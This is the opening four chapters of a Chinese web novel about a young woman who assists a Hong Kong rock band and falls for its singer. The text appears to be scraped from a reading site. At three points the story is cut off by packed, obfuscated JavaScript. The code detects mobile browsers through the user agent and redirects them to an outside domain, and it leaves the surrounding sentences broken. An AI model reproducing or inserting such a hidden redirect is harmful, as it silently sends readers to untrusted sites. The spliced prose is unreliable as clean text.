《你在六月无声告别》 1. 第1章 “begin!” “begin!” “摇滚不死!” “…………” 场馆内,安可环节已经结束,台上的人已返回后台,仍有舍不得离开的乐迷们在座位上激动的呐喊着,以致于在隔壁的采访区,都能清晰地听到他们动情地呼唤。 无数支话筒垂直伸向前方,后方乌压压一排排手扛的黑色摄像机,镜头对准眼前的人,作为begin乐队经纪人舒慕保持着温和的微笑,耐心回答面前记者们的问题。 “舒慕老师,begin乐队世界巡回首演,请分享一下此刻的感受好吗?”被选中的记者很是激动,显而易见在努力压制握着话筒颤抖的手。 采访区默契地静下来,人们屏住呼吸,目不转睛地盯着眼前这位陪伴被誉为殿堂级摇滚乐队走过近二十年光辉岁月的女士。 “很激动,乐队的每一位成员都很激动,阿波、世文、家言本来在后台还调侃自己很紧张,结果当现场那个氛围一起,听到乐迷们的欢呼,几乎每首歌大家都会跟着合唱,再加上几十年来三人之间的默契,大家立刻沉浸在了音乐的世界,整场玩的很开心。”舒慕滔滔不绝地描述着,显得意犹未尽。 旁边一记者接棒问道:“舒慕老师,这次乐队主题是begin超越begin,请问是有怎样特殊的含义呢?” “众所周知,今年是begin乐队成军二十周年,也是主唱家熙逝世十周年。”说到这,舒慕不禁出现几秒停顿,再开口时已生出一丝粗哑:“begin是开始的意思,每一次的拼搏前进都是新的开始,新的启程。这些年来,乐队是在不断的超越每一次的开始,这也是家熙他在追求音乐理想道路上一直以来的精神理念。” 短短几句话,众人听着莫名心里酸涩不止,即使对方话音突然一顿,也不忍打扰她片刻的恍惚。 沉默十几秒后,舒慕整理好情绪,恢复了温温和和的状态,继续道:“家熙生前的愿望就是带领乐队世界巡回演出,告诉别人在港城也有自己的音乐,有自己的乐队,并且也是有分量的乐队,那么我们也想告诉他,乐队做到了。同时也想告诉所有一直以来始终爱护支持begin的朋友们,不管怎样,他们永远是四位一体,并且一定会像当年他说的那样,会夹Band弹到弹不动为止。” “我们好挂念他!” 不知道人群中的谁喊了一嗓子,场内的气氛再次变得沉寂、压抑,无论是曾经有幸见过,亦或是后来听说、社交平台刷到关于他和他的音乐,大家的神情都透露着对那位英年早逝摇滚英雄的遗憾和不舍。 “大家对家熙的思念,他在将军澳一定收到了。”最后,舒慕半开起了玩笑,语气却变得更轻更沉:“终有一日我们会相见,记得要好好控诉他一番,谁让他当年给我们画了一个大大的饼呢。” 大约半小时后,舒慕在向记者们致以辛苦和感谢中结束了采访,穿行于走廊,两侧摆满了圈中好友赠送的祝贺花篮,卡片上的每一句话,每一个名字,都曾或多或少出现在begin乐队的人生轨迹当中,使他们更能坚强、勇敢地继续走下去。 舒慕怀着五味杂味的心情推开休息室的门,此时begin三子正站成圆圈形状,专注地摆弄着一个花篮。 “你们干嘛呢?收拾收拾……”舒慕走近他们,话还没来得及说完,视线停顿在花篮上用夹子固定住的照片。 那是一张begin四子时期的合影,每一个人开心、自信的笑容,不管时光跨越多久,都忍不住令人嘴角上扬,却又陷入无限悲伤的怀念。 三子心照不宣地互相望望对方,再看向她,室内一阵安静。 此时说什么,都显得多此一举。 原来即使再努力的向前看,很多事情也不会因为时间的推进而冲淡,那种融入身体、精神的思念,反而会一点一点加重。 开心、苦涩、不甘、唏嘘、怀念,种种心绪已蹭蹭涌上舒慕的大脑。 家熙,以你的性格,尽情地笑我们吧。 自你离开,这么多年,没办法,释怀这个词,你的好兄弟们,爱你的粉丝,每一个人都不愿学会。 即使伤口已随着时间而结痂,可心中的那道疤痕终究抹不掉。 还记得,富士山的冬,在山中湖小木屋屋檐下站着一个身材笔挺的年轻小伙,裹着厚厚的黑衣大袄,手揣进口袋里,英俊的脸上略微带点沧桑,他望着远处山上堆积的厚厚白雪,用特有的浑厚暗哑声音讲述着自己的观雪感受。 “你听到滴滴答答的声音呢,就是这些雪融成了水,嘀嗒嘀嗒滴落了下来,如果听到嘣的一声呢,就是很重的雪,树承受不住掉下来的,这场雪应该就是今年最后一场雪。” 也是他一生中看到的最后一场雪。 ---------------------------- 时钟拨回到那段艰难却热血的年华。 这一年九月的港城,云淡风轻,温和飒爽,是一个充满期待的季节。 二十四岁的舒慕带着经纪人Leslie程交代的艰巨任务来到位于繁华闹市区的二楼后座,这里是begin乐队日常练琴、聚会的大本营。 由狭窄的楼道拾级而上,没等走到门口,从里面传来的混合乐器声音,夹杂着不同声线的嘶吼,透过木门有节奏的传递了出来。 对于这种很rock的声音,舒慕的表情显然早已习以为常,从口袋里拿出房主,同时也是乐队创始人之一的世文给自己的备用钥匙开了门。 屋内的成员五子正在认真训练,丝毫没有注意到有人悄然光顾。 舒慕索性安静地站在角落位置,环抱着双臂,歪着脑袋好整以暇地看着围成圈激情四射、全身心投入的他们。 直到那句【一起高呼rock roll】的尾音落下,舒慕清了清嗓子,模仿之前住在这里的邻居不耐烦的声音: “吵死了,吵死了,你们夹Band没完了?”说完自己忍不住先笑了起来。 “舒舒,你什么时候来的?”许家言呆萌的眼睛一亮,抱着贝斯一个转圈到她身边,开心极了。 没等舒慕接话,主唱许家熙利落的赏了弟弟一个脑瓜崩:“臭小子,总是记不住,叫舒舒姐呀。” “哥,你又敲人家脑袋,会笨的。”许家言小手捂着头,幽怨的看着哥哥,碍于血脉压制,不敢强硬反击,坐在沙发上休息的叶世文、阿波凑在一块,手抚着脸颊,眼珠流转,默默看戏,才十八岁的刘智远比较腼腆,乖乖喊了声舒慕姐。 舒慕笑着应了一声,懒得理会另一边他们兄弟间的打闹,径自走到长方形的矮桌前,从塑料袋里拿出来各种餐盒:“你们俩就在那闹吧,我在家做了好吃的,看来只有世文他们肚子有福气咯。” “哇。”一听有好吃的,五个人眼睛瞬间亮起了光芒,智远默默挺直了脊背,世文、阿波动作极快地从沙发滑溜到地上,盘腿做好,本来还在拌嘴拌到脖子粗的兄弟俩暂时放下恩怨,飞速挤了过来。 家熙拿起烤制的菠萝包咬了一口,由衷发出感叹:“舒舒,你做的比外面面包店卖的还好吃。” 其他四子纷纷认同地点了点头。 吃到一半,家熙头也不抬:“家言,倒杯水给我喝。” “哎?”家言一脸不服气:“干嘛是我?!” 家熙从饭碗中抬起头,拿出做哥哥的威严架势,理直气壮地回击:“当然是你了,难道是我给你倒啊!” 家言:“…………”不情不愿又要乖乖服从地转身,轻轻一声‘哼’是他最后的倔强。 舒慕笑而不语,begin乐队距今已经成立三年多了,想想自己担任他们生活助理也有一段时间,当时乍一看他们头发的长度,真会认为是几个叛逆不良少年,但相处时间久了,才发现其实不然。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14576919|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 作为乐队主唱的家熙别看皮肤黝黑,平常又总是戴着一副红色苍蝇头眼镜,脸颊虽有清晰可见的痘坑,却丝毫不影响他整体五官的精神帅气,尤其是笑起来的时候,那双眼睛最耀眼明亮;吉他手阿波白白净净冷酷不羁、率直风格;鼓手世文始终温温和和的性格,如同邻家大哥;而家言在哥哥家熙的庇护下,性格活泼可爱,主意更是多得很,最小的智远稚嫩乖巧,却不容小觑,是一位键盘+吉他天才。 几人吃饭也堵不上他们的嘴巴,叽叽喳喳互怼不停,坐在一旁悠闲自在的舒慕则饶有兴致地打量起屋内的变化。 不久前这里进行了重新改造,完美诠释了什么叫麻雀虽小五脏俱全,没有任何花样装饰的旧墙,上面贴着充满rock风格的海报,当然还有他们自己的各种宣传,家具过于简单,只是放置了一张长方形桌子和沙发,地上摆着各种乐器,与屋外完全是个不同的、重金属十足的世界。 “还真别说,你们装修的有模有样的。”舒慕记得他们说过要自己搞来着。 家熙抽出纸巾擦了下嘴,少年漆黑明亮的眼眸中透露着炫耀:“厉害吧,我和阿文负责地面,阿波他们三个负责隔音,很快就弄完了。” “家熙,你怎么不告诉舒舒徒手搅水泥的光荣事迹呢?!”阿波笑得眼睛眯成了一条缝,对舒慕讲:“家熙和阿文铺水泥,结果手被腐蚀得差点脱掉一层皮。” “什么?!”舒慕不禁低呼,担心的看向他们。 家熙狠狠瞪了一眼阿波,转头换上一副阳光的笑容,安慰她:“不打紧,我们皮糙肉厚,这点伤不算什么。” “以后千万要多加注意才行。”舒慕心有余悸,蹙起眉头:“这可是弹吉他的手。” 家熙乐呵呵的一个劲称是是是。 “舒舒,你这样可太偏心了。”阿波装作为世文鸣不平,叹息的摇头:“家熙和世文都受伤了,你只关心家熙,可怜世文默默忍受。” “世文,还是让我来抱抱你,给你兄弟的温暖吧。”这俩人不亏是搞怪组合,接收眼神信号的家言立马会意,嘴角一咧,乐呵呵的张开双臂做出怀抱的架势。 向来老实的世文嫌弃地瞅了一眼疯玩的他们,继续安静地低头吃东西。 “你们胡说什么呢。”瞧阿波他们话中的揶揄,舒慕着急的反驳,清秀的脸盘不自觉地浮上了一抹红,余光却又扫向了旁边稳稳当当坐着的家熙。 果然,只有家熙才能治得了这帮调皮鬼。 “看来你们又想挨揍了是吧!”说着抓起身边抱枕丢了过去。 家言接住枕头,和阿波对视一眼,机灵的他屁颠屁颠放到哥哥背后,讨饶道:“哎哟,哥,我是和舒舒姐开个玩笑嘛。” “臭小子。”可怜的家言,再次喜提亲哥的大嗓门,一顿唠唠叨叨是注定躲不过去的了。 几人说说笑笑,大概一钟头之后,舒慕对大家说起了今天来这里的目的:“Leslie程让我带你们去剪发,收拾一下我们就出发。” 四子目光齐刷刷看向家熙。 沉默片刻,家熙说了一声“好。” 一行人出了门,舒慕和家熙走在最后面,回想起近期他们放下身段参与到从前嗤之以鼻的娱乐节目中,不知道为什么,亲眼看到昔日愤怒前卫的摇滚先锋,如今包装成“邻家男孩”取悦这个圈子,她心里百种情绪,涩涩的。 “家熙,你为什么会答应经纪人剪发的要求呢?” 在舒慕看来,这样的行为代表某种妥协。 “短发难道就不能玩摇滚了吗?或者说只有留着长发才算摇滚?”家熙笑着问道,整个人表现的很乐观,或许是因为自资专辑反响平平,不甘心下,他对待音乐逐渐开放化:“不管我们做出怎样的改变,都是朝着有利于乐队发展的方向前进。” “我相信,总有一天,我们begin乐队创作的音乐会得到越来越多人的认可。” 2. 第2章 理发店里,当舒慕看到拥有崭新发型的世文时,简直惊奇极了,因为…… 眼前的人太帅了。 她情不自禁地赞叹:“阿文,说你貌比潘安,一点都不为过啊。” 世文站在镜子前腼腆的笑了笑,有点不自在地戳了戳新造型。 不安分的家熙、家言和阿波纷纷逗弄起了他,惹得性情温厚的世文霎时红了脸。 舒慕带着焕然一新的五人乘坐公司开来的车回到了唱片公司,他们的经纪人Leslie程已经在会议室看着手中的资料沉思许久了。 “Leslie,我们来了。”家熙走在最前面,笑着打了声招呼。 Leslie程抬头,一抹惊喜从他的眼睛中闪过,显然对乐队四人新鲜出炉的形象十分满意:“这样变一变,配合新专辑的宣传,一定不错。” 说着他指了指身边的座位示意:“舒慕,你也辛苦了。” 舒慕笑笑,客气道:“这是我应该做的。” 待大家全部坐下,经纪人Leslie程先是肯定了前期EP歌曲的成绩:“《往日舞曲》这首歌成功打进了电台中文歌曲龙虎榜,虽说榜单位置不尽如人意,但总体来看还是可以的。”而后宣布:“所以,我们接下来的工作就是录制首张专辑《阿拉伯跳舞女郎》。” 乐队众人你看看我,我看看你,无不透露着激动、兴奋。天知道,比起搞这些花里胡哨的东西,进到录音室做音乐才是他们最想做的。 随后,Leslie程拿起桌上的画册展示给大家看。 陈家言眼睛瞪的老大:“这装扮好特别!” “真丑。”阿波小声念叨。 世文、智远没有说话,只不过从眼神中可以看出他们的别扭。 舒慕目光投向家熙,他没有直接反驳,只是默默盯着画册上印有阿拉伯琼酋长的造型,片刻后才对经纪人问出了心中的顾虑:“这样做,和之前风格千差万别,会不会被原来的粉丝骂?” “不会。”经纪人解释此次大胆的设想:“为了把你们和现在众多的乐队区别开来,我希望这张专辑突出化,主打中东异国风情,相信一定能获得商业认可。” 既然如此,那就没什么可犹豫的。 “OK。”家熙冷不丁的冒出话来,偏头看向成员四子,眼中火苗旺盛,坚定而有力量的语气:“为了乐队,我们全力以赴,一定会成功。” 见家熙已做出决定,四子不再有意见,点头复议。 过了好一会儿,五个纯种的黄皮肤中国人,穿着□□的服饰,戴着中东独特头巾缓缓走了进来。 这身装扮,另舒慕瞬间有种眼前一亮的感觉,可再看他们迷茫纯真的小眼神,时不时扯扯衣服拘谨的样子,又感到忍俊不禁。 Leslie程上下打量一圈,笑着点点头,语气笃定:“这次的形象,一定行。” 接下来的时间,begin乐队进驻公司为他们安排的场地,开始新专辑的录制,这次经纪人Leslie程仍任担纲,舒慕则继续后勤辅助工作。 与之前不同的是,在这张专辑里,家熙希望每一位成员都能参与到创作中,发挥自身无限的潜能和价值,而不是只充当伴奏乐手。 家熙盘腿坐了下来,和大家围坐在一起:“阿文,《阿拉伯跳舞女郎》的填词任务交给你。”紧接着又对家言和阿波道:“现在已经确定灌录的曲目,你们也试试看。” 舒慕在听说家熙有意把主打歌交给家言却被拒绝时,不免好奇:“家言,你真的不打算唱《阿拉伯跳舞女郎》这首歌吗?” “还是算咯。”家言挠挠头,稚嫩的脸庞写满了羞涩:“我录得demo不够理想,还是先学习怎么把歌词写好吧。” 正在小桌前写写画画的家熙听到他们的对话,转过身来拍拍弟弟的肩膀,眼神带着温和的鼓励:“好,家言,你能这么想,哥哥很欣慰,我看你在填词方面很有天赋,以后有合适的曲子,哥哥就交给你。” “谢谢哥。”家言咧着嘴笑得特别开心,在他的世界里,一向都是唯哥是从,只要是哥哥说的,他就无条件相信。 几人相视一笑,每一位成员都为签约后的首张专辑投入了巨大心血,他们对未来充满期待,希望借此机会得到更多人的认可和喜欢。 从白天到黑夜,录音室里只剩下熬夜狂家熙和夜猫子舒慕两个。 “歇会儿吧。”舒慕端来一杯水,放到他跟前:“你已经连续弹了3个多小时了。” 家熙停下扫弦,笑笑:“这么久了吗?!” 回复他的,是舒慕重重的点点头。 “时间过得真快。”小心地放下吉他,家熙转头望着窗外的沉沉夜色,忽然感慨道:“想想我们乐队已经成立三年了”。 他的声音带着一股深沉执着的情感,舒慕心中一动,这年头搞乐队的多,没玩多久散的同样多,生存太艰难了:“是啊,多少不容易,难以用言语表达。” “我记得在苏屋老家的时候,只要家里人看到我拿着吉他,就会皱眉叹息,他们一直希望我能找一份踏实安稳的工作。”家熙低眉苦笑。 “可是,我真的好喜欢音乐啊。”昏暗的灯光下,他的眼中好似闪烁着明亮的星星。 一刹那,舒慕心里兀自蹦出:怎么会有如此好看的眼睛呢。 可眼前的人背影看上去却那么寂寥。 舒慕忍不住与他共情,缓缓开解道:“做自己想做的事有什么错,又不是伤害别人,既然经纪人当初签了你们,便是看重了乐队每一位成员有才华、有嗓音、有唱功。” 故意话音一顿,她眨眨眼,调皮的补了一句:“当然了,你们长相也不差。” 家熙被这番夸的,不免失笑:“舒舒,你有点儿高看我们了吧。” “你知道吗?我去看过你们自资办的演唱会。”舒慕也跟着笑了起来,向他说起了另外一件事。 家熙满脸讶异地望过来。 “那天在明爱礼堂,让我记忆深刻的不是原本容纳上千人的场地,只来了两三百人,而是我从你们的演奏中感受到了对音乐的那种由衷热爱、真诚、尊重,尤其是当你们一同唱起《理想再见》的时候。”舒慕陷入深深地回忆中,想到精彩的画面,嘴角流露出一抹似有似无的笑。 家熙煞有其事地揉了揉她的头发,忍不住的夸赞:“官方认证,你是我们乐队的铁粉呐。” “说起那场演出,朋友后来告诉我,我爸从头骂到尾,不过他也坚持看完了全程。”他说着过往的故事,愣是把自己逗乐了。 特别在意自己发型的舒慕嗔了他一眼。 “舒舒,那你的理想是什么?”家熙笑着收回手,好奇地问道。 她想了想,眼睛里闪烁着点点星光,温柔而坚定的答:“我的理想是成为一名厉害的经纪人,手下带领一大片王牌艺人。” “你绝对没问题。”家熙呼得一阵扫弦声,差点把舒慕吓到,下一秒这家伙又扯着高亢的嗓音:“向着理想前进!” 没过两天,世文交出了主打歌《阿拉伯跳舞女郎》歌词初稿,但家熙和经纪人Leslie程并不是很满意,于是便让阿波和世文合作修改,其他歌曲的填词工作也在陆陆续续顺利敲定。 隔了一段时间,为了拍摄的专辑封面更能突出效果,经纪人委派舒慕带着乐队以及其他工作人员乘机飞往新加坡。 当天早晨,司机阿贡先捎上舒慕,然后驾车来到二楼后座门口等待,准备人齐后,送他们去机场。 “一二三……”舒慕念着挨个跳上车的人数,纳闷地转身问向家言:“怎么不见家熙?” 没等家言开口,耳边突然传来阿贡疯狂按动喇叭的声音。 顺着前方一看,家熙正朝着他们的方向大幅度挥手。 这时,阿贡极有眼色地按动了开门按钮,一路小跑过来的家熙飞快上了车:“阿贡早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因为时间紧任务重,大家没有丝毫的停歇,便马不停蹄地前往早早商议好的一家教堂,怎料当路过一家装修精美的印度餐厅时,立刻改变了主意。 舒慕和家熙率先推开门走了进去,餐厅老板以为是用餐的客人,赶忙应了上去,礼貌打招呼:“你好,请问几位用餐?” “您好,老板,我们不是来吃饭的。”家熙摆摆手,解释道。 “那你们是?”餐厅老板看着眼前一黑一白颜色分明的两个年轻男女,有些摸不着头脑。 黑仔家熙:“老板,我们是来自港城的一支乐队,来到这里拍专辑封面,看到您这的风格和我们此行拍摄的主题很搭,所以想借用您的餐厅一用,不知道可不可以?” “原来是这样。”餐厅老板了然地点点头,很爽快地答应了请求。 家熙大喜,又黑又亮的眼睛更加耀眼,顿了顿,得寸进尺地问:“老板,墙上挂着的西塔琴和手鼓,能不能也借给我们当做道具呢?” 舒慕:“……” 这人,真的是物尽其用呐! 摄像机前,舒慕指挥着乐队五人的动作。 “家熙,卧倒。”发现自己表达错了的舒慕吐了吐舌头,讪讪笑了笑:“抱歉,是侧身躺才对,然后看前方的镜头。” 指了指道具,示意工作人员递过去:“把那两个手鼓给世文,让他一手拍一个,西塔琴交给智远。” 再看那一对搞怪组合,不安分的左右摇摆,节奏感倒是挺强,舒慕掐着腰,大声喊:“阿波、家言,你们俩干嘛呢?给我朝前看。” 惊地这两人赶忙各归各位。 转而面向世文,舒慕的分贝明显低了好几度,语气温温柔柔的:“世文,你不用跟着朝前,你稍微低低头,手拍着鼓,眼睛看着鼓。” “智远,你弹琴的姿势再自然一些。” “OK,就这样,所有人保持。”舒慕捋了捋额前风吹过来的碎发,双手环胸,侧身朝摄像师点点头。 三个小时后,成员来到机器旁,欣赏自己的成片。 “舒舒,指导有方哦。”认真的翻看每一张照片,家熙毫不吝啬地竖起大拇指。 舒慕被夸得眼带笑意,矜持的压了压上扬的嘴角。 3. 第 3 章 晚上,舒慕带着众人入住了当地酒店,计划明天返程。 眼下没有睡意的家熙抱着吉他来到宽阔的阳台,若有所思地弹着和弦,手指不时灵巧变换,嘴里轻轻哼唱。 听到他弹琴的声音,舒慕放下手里的资料,从桌上拿了瓶可乐,走了过去。 虽然知道他的灵感大多来自晚上,如同泉眼似的不停喷涌,但亲眼所见,总是能一次次刷新舒慕的认知。 “诺,给你。”舒慕把可乐放在家熙跟前。 可乐果然是家熙的最爱,他拉动铁环,咕咚咕咚几口下肚,喝得那叫一个痛快。 夜幕下,两个人吹着微风,拂过他们的脸颊,远处林立的高楼、遍地的霓虹灯一览无余,难得有如此轻松的时候,这次带队的如果是经纪人,估计大家也不可能放的开了。 寂静的氛围保持了一会儿,舒慕往后捋了下自己的长发,忽的唤他:“家熙。” “嗯?”他低声应道,沙哑的尾音上扬,有一种说不出的磁性感染力。 舒慕抬抬下巴:“我发现你真的很喜欢这把红色的吉他,大大小小演出都要带着它。” “当然咯,珍贵的很咧。”家熙一脸骄傲,侃侃而谈,诉说着当初买这把吉他的不容易:“这可是我想方设法吃了快一个月的馒头,节衣缩食,才买下来的人生当中第一把吉他。” “原来如此。”舒慕挑挑眉:“这把吉他一看就价格不菲。” 家熙一副你很识货的表情,随即兴致勃勃道:“舒舒,你试试弹一弹吧?” “我?”舒慕呆住,下一秒摇摇头。 “先给你调下音。”细心的调整了下吉他弦,家熙硬是将吉他递到了她怀里,又坐了回去,等着她的吉他首秀。 “好,那我试试。”和乐队共事那么久,耳濡目染下,舒慕也稍微学了点皮毛,她有模有样地摆好弹吉他的姿势,手指轻轻勾起,一声清脆的声音发出。 “怎么样,有没有那种感觉?”舒慕期许的目光看向他。 家熙一本正经的胡说八道:“嗯,一看就是专业的吉他手嘛。” “你真是……”自己几斤几两还是很清楚的,听他故意这么说,惹得舒慕特无语地白了他一眼。 担心真的会惹怒眼前的人,家熙立马变身严肃老师,耐心的指导她手指的位置和力度,并试着让她弹奏一些简单的和弦。 舒慕在家熙的速成教学下,逐渐掌握了基本的指法,试着弹奏出来的旋律从断断续续的生涩变得逐渐流畅起来。 “第一次弹,还是不错的。”家熙笑着鼓励她,后边还即兴弹了一段。 虽然只有两三个和弦,但此刻获得的小成绩感受是无法用言语表达的。 那一刻,她仿佛能感同身受家熙为什么如此痴迷音乐,因为它的魅力太强大了。 “是不是感觉很美好、很享受?”家熙突然问。 抚摸着琴身,舒慕坦言答:“的确。” “所以,如果没有音乐,我一定会死的。”他笑的开怀,仿佛在他意识里,对生死没有任何顾忌,突然又话锋一转,正经说道自己的想法:“其实怎么去定义生命,我觉得如果在最光辉灿烂的时候把生命一下子玩到尽头,那就是永恒,岂不是很酷。” “不!”舒慕心惊地打断他,脸上的笑容停滞,瞬间变得很难看,语气重重的:“那样活着的人会很痛苦,太残酷了。” “这样啊。”家熙轻叹了口气,转眼又恢复了平常嘻嘻哈哈的性格:“放心啦,我怎么舍得让爱我的人伤心掉眼泪呢。” 温和的舒慕难得较真起来,仿若是必须要他给一个承诺,才能安定她慌乱的心神:“以后不准说这样的话,听到了没有?” “好好好,保证不会了。”见她真的把自己的话听进了心里,家熙连忙举起三根手指头,配合地宽慰她。 “我还要成为你手下的王牌乐队,带着begin世界巡回,我说到做到!”家熙信誓旦旦地许下豪言壮志。 抓耳挠腮叽里咕噜一通说,充分发挥了话唠本尊,就差把心掏出来,这才让舒慕的心情变得缓和舒畅很多:“这可是你说的啊。” 家熙声音放的很柔:“放心啦。” 回到自己房间后,舒慕躺在柔软的床上,默默回忆着刚才两人的谈话,盯着天花板没来由地笑出了声。 这一晚,也不知道是不是有了某人再三的保证,舒慕整晚睡得都很踏实。 从新加坡结束拍摄回到港城,大家休息了两天,又进入了录音棚各种忙碌,时间不知不觉到了6月10号,迎来了家熙25岁的生日。 当天,除了寿星公之外,其他几人因为昨晚在二楼后座玩的太晚,索性直接从这里找地儿睡下了。 主办人舒慕早早来和阿波汇合,跟着他蹑手蹑脚地推开了鼓手的房间,床上睡得正香的世文迷迷糊糊中感觉有几道黑影在晃动,缓缓睁开迷蒙的双眼,两双笑意盈盈地目光跪在床沿边注视着他。 “……”此时还没有完全清醒的鼓手目瞪口呆。 “世文。”舒慕喊他。 “你们一大早整这出是干嘛?”费劲儿的坐起身,揉了揉惺忪的眼睛,尽管被打扰睡眠,但一向温和的世文仍旧好脾气地问道。 舒慕:“今天是家熙生日,我们搞个惊喜给他。” 本来还处在魂游天外的世文逐步恢复了清醒,非常赞同。 “对了。”阿波打了一个响指:“我们现在赶快去叫家言起来,万一他激动过度,直接给他哥打了电话,不就完蛋了?”说到最后,甚至模仿起了家言欢脱的动作。 仔细想想,爱哥狂魔极有可能,舒慕和世文对视一眼,齐声:“同意。” 阿波下意识做出甩长发的动作,酷酷的:“出发。” “家言,起床了,快点起来吧。”世文和舒慕轻轻推着他的胳膊。 “喂!”阿波无语地望着两个像哄孩子似的妈妈语气和动作,直脾气的他忍不住吐槽:“有没有搞错,你们这样叫他,八百年他都醒不过来啊。” 说罢,神情欠欠的样子走近还在呼呼大睡,嘴角留着哈喇子的贝斯手,一脸自信地说:“还是看我的吧。” “许家言!”阿波一个腾空坐在床尾的被子上:“你这个懒仔,太阳都要晒屁股了,还不快点起床。” 正在做美梦的家言被强烈的疼痛感瞬间拉回现实,嘶的一声,颤颤巍巍的奶音控诉着某人的暴力行为:“……阿波,我要是腿断了,你负责哇。” “无事无事,坐着也能弹了。”阿波摆摆手,大刺刺道。 恼火的陈家言抄起枕头正要砸向他,却被阿波手快地挡住:“今天要给你哥搞生日party。” “额?”家言情绪来得快,去得也快,一听到是给哥哥过生日,下一秒生气忘的一干二净,堆起了憨憨的笑容:“好啊好啊,怎么搞?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14576921|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒慕轻咳了一声,冲大家笑笑,勾勾手,几个脑袋围成一个圆圈:“咱们这样做……” 差不多半天时间过去,眼看布置的差不多,舒慕把收尾的活儿直接交给了三子,自己乘车前往苏屋去接寿星公。 路上,家熙奇怪地问:“今天我竟然没有收到一通电话,连家言都玩消失,舒舒,你知道那几个臭小子去哪了吗?” 藏秘密实在太难受了,舒慕忍得很辛苦,她努力不让家熙看出破绽:“可能他们在忙自己的事,我们先去二楼后座等吧。” 两人到了楼下,舒慕故意走在后面,家熙望着二楼一片漆黑,自言自语:“他们四个怎么都不在?” 尤其转眼再看舒慕笑而不语,更让家熙感到奇怪极了,一头雾水的他只好继续向里屋走去,小心摸索墙上的开关面板准备开灯。 就在此刻,只听“嘭”的一声,整个屋子灯光亮起,彩色气球四处飘散,喷出的彩带漫天飞舞,藏身于黑暗中的好多人喊着不是很齐的祝福: “happy birthday!” “家熙,生日快乐!” “生日快乐!” “…………” 家熙愣在原地,随即惊喜涌入眼眶,这份意外惊喜让他感受到了浓浓的友情和温暖,只是嘴上假装埋怨:“舒舒,枉费我对你的一番信任,他们这样你都不跟我说一声?” 舒慕自然懂他真正的心情,只是默默地回之一笑。 接下来,朋友们递出一起凑钱买给他的一部Walkman随身听,刚刚有所缓和的激动情绪,这下更感动的一发不可收拾。 最后到了舒慕这,她递给家熙一本相册本,轻轻说了声:“家熙,生日快乐。” “哇,是相册,我看看照的什么。”接过礼物的家熙嘴角快要咧到耳根后了,他好奇的翻开相册,惊讶的发现里面记录了乐队每一个或搞笑或认真,总之很有意义的瞬间,特别是最后一页是当年获得吉他比赛第一名时媒体宣传语:‘一支新乐队就要启航了’。 舒慕是在用无声的力量鼓励、支持他的音乐理想。 难得整天啰啰嗦嗦的家熙说不出话来,过了几秒,他语速极慢,真挚的对她说了声:“谢谢你,舒舒。” 没成想正经不过三秒,脱口说了一句:“怎么办?忽然有一种希望你永远陪伴在我身边的想法。”说完,自己感觉有些失言,不好意思的哈哈笑了起来。 说者无心,听者有意,舒慕被这一番话弄的脸颊发热,扣着手上的指甲,想说点什么,却又不知道该怎么组织合适语言度过这波尴尬了。 末了,驴头不对马嘴地张口:“你喜欢就好。” “哟哟哟。”从旁观望的阿波和家言舔了舔手上的奶油,瞟了一眼他们这边的情况,顿时来了浓浓的兴趣,脚步缓缓凑近舒慕,如同发现重大情报似的,笑得暧昧一同说道:“舒舒不好意思了。” 这下,舒慕连原地遁走的心都有了。 “舒舒,你先吃着,我去执行下家法。”家熙有心帮舒慕解围,挽起袖子像老鹰捉小鸡似的一手抓一个,作势要好好收拾他们一顿。 “还敢跑?!一个个的都是欠收拾!” 舒慕努力保持云淡风轻,拨了下头发挡住泛红的耳尖,好笑地看三个幼稚鬼吵吵不停,又互相打闹,你踢我踹,谁也不服气的样子,内心默默道: 家熙,希望你永远龙精虎猛,自由翱翔。 4. 第4章 回到港城,乐队稍事休息,便继续投身专辑宣传工作,值得欣喜的是,经纪人在这段期间为他们谈下了在高山剧场开办演唱会的档期。 众人在紧锣密鼓积极筹备演出的同时,丝毫没有改变仍然要去到酒廊完成每周三晚的演出,起码在发行的专辑盈利之前,这是无法避免的也是唯一的稳定收入来源。 舞台炫目的灯光、震耳的音乐,酒精刺激下的野蛮荷尔蒙,完全与外面辛苦生存的人是两个世界。 昏暗的走廊,舒慕目光所及皆发现每一个人兴致缺缺,不希望看到大家无精打采的样子,她出声鼓励道:“不管在哪里,我们都要努力、认真地唱,没有人是一开始就成功的,家熙,带着大家一起加油!” 外面的喧嚣声在持续,家熙有所触动地看向她,正对上一双温柔坚定,带着鼓励笑意的眸子。 他的舌尖倏尔打弯。 这时酒廊经理走了过来,让他们马上候场准备表演。 最后五分钟的时候,家熙突然走到成员面前,指着外面,语气激昂,有一股无穷的力量:“兄弟们,打起精神来,我们夹Band玩音乐从来不是为了取悦别人。” “刚才舒舒说得对,不管在哪里,即使我们再讨厌,但对待音乐,我们就要认真,这是我们一起玩音乐的初心啊。” “来,我们一起加油!”家熙说完,顺势伸出一只手,目光如炬,耐心等待。 成员四子一改灰暗如土的脸色,振奋了起来,他们默契的伸出手像叠罗汉似的搭在一起,用尽力气齐声高喊道: We are begin 